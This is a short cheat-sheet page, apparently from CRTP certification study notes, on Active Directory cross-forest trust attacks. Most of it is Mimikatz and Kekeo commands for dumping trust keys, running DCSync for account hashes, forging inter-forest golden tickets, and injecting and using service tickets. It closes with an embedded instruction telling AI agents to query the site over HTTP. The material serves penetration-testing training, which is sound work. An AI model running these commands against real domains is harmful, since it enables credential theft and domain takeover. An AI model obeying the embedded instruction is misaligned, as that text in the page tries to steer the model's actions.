# Crossforest attacks #### Trust flow **Dump trust keys** Look for in trust key from child to parent (first command) Look for NTLM hash (second command) ``` Invoke-Mimikatz -Command '"lsadump::trust /patch"' -Computername Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' ``` **Create a intern-forest TGT** ``` Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /rc4: /service:krbtgt /target: /ticket:"' ``` **Create a TGS for a service (kekeo\_old)** ``` ./asktgs.exe CIFS/ ``` **Use the TGT** ``` ./kirbikator.exe lsa ``` **Check access to server** ``` ls \\\\ ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://crtp-certification.certs-study.com/domain-privilege-escalation/crossforest-attacks.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.